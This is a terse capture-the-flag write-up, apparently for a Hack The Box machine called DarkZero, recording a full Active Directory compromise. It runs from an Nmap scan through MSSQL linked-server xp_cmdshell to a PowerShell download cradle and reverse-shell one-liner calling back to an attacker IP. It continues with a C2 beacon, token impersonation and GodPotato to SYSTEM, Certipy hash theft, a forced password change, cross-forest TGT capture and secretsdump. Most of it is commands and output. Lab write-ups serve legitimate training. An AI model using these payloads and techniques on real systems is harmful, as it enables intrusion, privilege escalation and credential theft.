notes
Assumed Breach Scenario: john.w / RFulUtONCOL!
Nmap scan report for 10.129.195.108
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD-TCP:
| _services
| _dns-sd
| _udp
|_ local
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-07 05:04:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-07T04:59:04
|_Not valid after: 2056-04-07T04:59:04
| ms-sql-info:
| 10.129.195.108:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2026-04-07T05:06:19+00:00; +3m40s from scanner time.
| ms-sql-ntlm-info:
| 10.129.195.108:1433:
| Target_Name: darkzero
| NetBIOS_Domain_Name: darkzero
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: darkzero.htb
| DNS_Computer_Name: DC01.darkzero.htb
| DNS_Tree_Name: darkzero.htb
|_ Product_Version: 10.0.26100
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49895/tcp open msrpc Microsoft Windows RPC
49926/tcp open msrpc Microsoft Windows RPC
56808/tcp open msrpc Microsoft Windows RPC
60572/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=4/7%Time=69D48F98%P=x86_64-pc-linux-gnu%r(DNS-S
SF:D-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_
SF:udp\x05local\0\0\x0c\0\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-04-07T05:05:41
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 3m39s, deviation: 0s, median: 3m39s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.73 seconds
We can authenticate to mssql with the given creds
impacket-mssqlclient john.w@darkzero.htb -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (darkzero\john.w guest@master)>
We can't run system commands here, as we don't have enough privileges to do so.
There is a linked server
I ll see if I ve privileges there to run system commands.
SQL (darkzero\john.w guest@master)> EXEC ('EXEC sp_configure ''show advanced options'', 1;RECONFIGURE;') AT [DC02.darkzero.ext];
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT [DC02.darkzero.ext];
EXEC ('EXEC master..xp_cmdshell ''whoami''') AT [DC02.darkzero.ext];
output
--------------------
darkzero-ext\svc_sql
NULL
I ll now get a reverse shell.
cat cradle
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.7/rev.ps1')
cat rev.ps1
$sm=(New-Object Net.Sockets.TCPClient('10.10.14.7',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Shell was messy so I got a rev shell on havoc c2.
There is an policy_backup.inf file
svc_sql has SeServiceLogonRight means that the account is able to do a service logon. My current shell is an interactive / network logon, which has stripped the SeImpersonatePrivilege from the process.
Here we have various ways to get a system shell.
Restoring SeImpersonate Privilege
Service accounts are granted SeImpersonatePrivilege by default, and MSSQL legitimately uses impersonation to handle client connections under different security contexts. So it’s reasonable to assume the original token has this privilege. As I show above, the shell as svc_sql doesn’t have SeImpersonatePrivilege, which means the service must be running with a restricted token as a hardening measure.
https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
We ll use pwsh in linux to setup NtObjectManager
_ DarkZero pwsh
PowerShell 7.5.4
┌──(nakul__kali)-[/home/nakul/Desktop/ctf/htb/DarkZero]
└─PS> Install-Module -Name PSWSMan
Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its
InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the
modules from 'PSGallery'?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
┌──(nakul__kali)-[/home/nakul/Desktop/ctf/htb/DarkZero]
└─PS> Install-Module -Name NtObjectManager
Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its
InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the
modules from 'PSGallery'?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
┌──(nakul__kali)-[/home/nakul/Desktop/ctf/htb/DarkZero]
└─PS> Save-Module -Name NtObjectManager -Path /home/nakul/Desktop/ctf/htb/DarkZero
┌──(nakul__kali)-[/home/nakul/Desktop/ctf/htb/DarkZero]
└─PS> Compress-Archive -Path /home/nakul/Desktop/ctf/htb/DarkZero/NtObjectManager/* -DestinationPath ./NtObjectManager.zip
Transfer this file to target
switching to revshell
PS C:\programdata\NtObjectManager\2.0.1> Import-Module .\NtObjectManager.psm1
PS C:\programdata\NtObjectManager\2.0.1> $pipe = New-NtNamedPipeFile \\.\pipe\ctflover -Win32Path
PS C:\programdata\NtObjectManager\2.0.1> $job = Start-Job { $pipe.Listen() }
PS C:\programdata\NtObjectManager\2.0.1> $job
Id Name PSJobTypeName State HasMoreData Location Command
-- ---- ------------- ----- ----------- -------- -------
1 Job1 BackgroundJob Completed True localhost $pipe.Listen()
PS C:\programdata\NtObjectManager\2.0.1> $file = Get-NtFile \\localhost\pipe\ctflover -Win32Path
PS C:\programdata\NtObjectManager\2.0.1> $token = Use-NtObject($pipe.Impersonate()) { Get-NtToken -Impersonation }
PS C:\programdata\NtObjectManager\2.0.1> $token
User : darkzero-ext\svc_sql
Groups : {darkzero-ext\Domain Users, Everyone, BUILTIN\Users, BUILTIN\Pre-Windows 2000
Compatible Access...}
EnabledGroups : {darkzero-ext\Domain Users, Everyone, BUILTIN\Users, BUILTIN\Pre-Windows 2000
Compatible Access...}
DenyOnlyGroups : {}
--SNIP--
We can check now if we have seimpersonate or not
Lets get rev shell
I ll get a beacon
PS C:\programdata\NtObjectManager\2.0.1> New-Win32Process -Commandline 'cmd.exe /c C:\\windows\\temp\\darkzero.exe' -token $token
This time we do have the seimpersonate privs
Now we can use godpotato to get system
PS C:\programdata> New-Win32Process -Commandline 'cmd.exe /c C:\\programdata\\godpo.exe -cmd "powershell C:\programdata\darkzero.exe"' -token $token
Process : cmd.exe
Thread : thread:1492 - process:2296
Pid : 2296
Tid : 1492
TerminateOnDispose : False
ExitStatus : 259
ExitNtStatus : STATUS_PENDING
We are system on target.
ADCS / RunAsCs
The intended path is to get access to a fully privileged token like the method above, but by a less elegant path. I’ll get an unrestricted service token by starting a process as svc_sql with LOGON32_LOGON_SERVICE (as the Policy_Backup.inf showed is allowed). I can do this with RunAsCS.exe.
To do that with RunAsCs.exe, I’ll need to know the account password. I’ll use Rubeus.exe to get a TGT as svc_sql. This TGT won’t work to change the password directly, but I can use Chisel to create a proxy to DC02, use that TGT to get the NT hash through ADCS, and use that to change the password.
Get svc_sql tgt
Decode this base64 and convert it to ccache
_ privesc base64 -d svc_sql.kirbi.b64 > svc_sql.kirbi
_ privesc impacket-ticketConverter svc_sql.kirbi sv.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
_ privesc mv sv.ccache svc_sql.ccache
impacket-describeTicket svc_sql.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : 8f1b194a1983a39c0320aff06b3f076dca5db727efcc7d67bd2ae24944242e11
[*] User Name : svc_sql
[*] User Realm : DARKZERO.EXT
[*] Service Name : krbtgt/DARKZERO.EXT
[*] Service Realm : DARKZERO.EXT
[*] Start Time : 11/04/2026 11:25:31 AM
[*] End Time : 11/04/2026 20:50:11 PM
[*] RenewTill : 18/04/2026 10:50:11 AM
[*] Flags : (0x60a10000) forwardable, forwarded, renewable, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_sha1_96
[*] Base64(key) : jxsZShmDo5wDIK/waz8HbcpdtyfvzH1nvSriSUQkLhE=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/DARKZERO.EXT
[*] Service Realm : DARKZERO.EXT
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
It is forwardable
I’ll start the Chisel server on my host, and then upload the Windows binary to DC02 and connect:
Get NT Hash
The TGT I have will work to enroll with ADCS. I’ll need the CA name, which I can get with certutil from a shell or from MSSQL:
I’ll request a certificate using that CA name with the default user certificate template:
KRB5CCNAME=svc_sql.ccache proxychains certipy-ad req -u svc_sql -k -no-pass -dc-host DC02.darkzero.ext -target DC02.darkzero.ext -ca darkzero-ext-DC02-CA -template user
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: DC02.darkzero.ext.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC02.darkzero.ext:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC02.darkzero.ext:445 ... OK
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'svc_sql@darkzero.ext'
[*] Certificate object SID is 'S-1-5-21-1969715525-31638512-2552845157-1103'
[*] Saving certificate and private key to 'svc_sql.pfx'
[*] Wrote certificate and private key to 'svc_sql.pfx'
The resulting .pfx certificate can be used to authenticate as the user:
_ privesc proxychains certipy-ad auth -pfx svc_sql.pfx -domain darkzero.ext -dc-ip 172.16.20.2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'svc_sql@darkzero.ext'
[*] Security Extension SID: 'S-1-5-21-1969715525-31638512-2552845157-1103'
[*] Using principal: 'svc_sql@darkzero.ext'
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:88 ... OK
[*] Got TGT
[*] Saving credential cache to 'svc_sql.ccache'
File 'svc_sql.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'svc_sql.ccache'
[*] Trying to retrieve NT hash for 'svc_sql'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:88 ... OK
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f
Now we can change svc_sql password and then use runascs.exe to get full privs
proxychains impacket-changepasswd -hashes :816ccb849956b531db139346751db65f -newpass 'Password@987' darkzero.ext/svc_sql@dc02.darkzero.ext
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of darkzero.ext\svc_sql
[*] Connecting to DCE/RPC as darkzero.ext\svc_sql
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc02.darkzero.ext:445 ... OK
[*] Password was changed successfully.
proxychains netexec smb 172.16.20.2 -u svc_sql -p 0xdf0xdf.
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:135 ... OK
SMB 172.16.20.2 445 DC02 [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:darkzero.ext) (signing:True) (SMBv1:None) (Null Auth:True)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.2:445 ... OK
SMB 172.16.20.2 445 DC02 [+] darkzero.ext\svc_sql:0xdf0xdf.
PrivEsc
There is a bidirectional trust between the both domains.
powershell .\Enum-ADTrusts.ps1
[*] [C30154A2] Tasked demon to execute a powershell command/script
[+] Send Task to Agent [198 bytes]
[+] Received Output [57 bytes]:
[+] Added Trust between 'darkzero.ext' & 'darkzero.htb'
[+] Received Output [1576 bytes]:
[+] Added Trust between 'darkzero.htb' & 'darkzero.ext'
Attribute Domain: darkzero.htb
--------- --------------------
TrustDirection: BiDirectional
TrustFlavor: Forest
AuthenticationLevel: ForestWideAuthentication
Transivivity: Enabled
SID Filtering: Enabled (Only SIDs from the forest of darkzero.ext are allowed)
TGT Delegation: Enabled
TrustFlags: TRUST_ATTRIBUTE_FOREST_TRANSITIVE, TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION
Supported Encryption Types:
Legend:
1as per [MS-PAC] Section 4.1.2.2
'CrossLink' trusts are more generally known as 'Shortcut' trusts
'unknown' often indicates that the trust partner could not be contacted
0xdf:
TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION means that when a user from one forest authenticates to a service in the other forest, their TGT can be forwarded/delegated to that service. The service can then use that TGT to act on behalf of the user and access other resources. Normally in cross-forest trusts, TGT delegation is disabled, only allowing service tickets (referral tickets) cross the boundary. With it enabled, the full TGT crosses over, giving the receiving service broader impersonation capability. This permission also means I can abuse cross-forest TGT delegation to access resources in darkzero.htb.
It’s also important to note that SID filtering is enabled on this trust. This means I can’t forge a golden ticket with extra SIDs from darkzero.htb using the inter-realm trust key (darkzero-ext$), as the receiving domain will strip any SIDs that don’t belong to darkzero.ext. If SID filtering were disabled, I could use ticketer.py to craft a ticket with the Enterprise Admin or Domain Admin SID from darkzero.htb appended
Capture DC01$ TGT
Strategy
As SYSTEM on DC02, I can run Rubeus to listen for incoming authentication attempts. With that in place, I’ll have DC01, though MSSQL, request a directory listing from a share on DC02 using xp_dirtree. The MSSQL service is very likely running as NT SERVICE\MSSQLSERVER or LocalSystem or Network Service. If that is the case, then the authentication to DC02 will be as DC01
Listen
I’ll download the latest copy of Rubeus.exe from SharpCollection, and upload it to DC02. I’ll run it in monitor mode, giving it a timeframe to recheck:
Now do a xp_dirtree from the sql server to dc02$
The ticket is fowadable.
Copy the tgt. base64 decode convert it and export it
Now we can perform secretsdump
Root.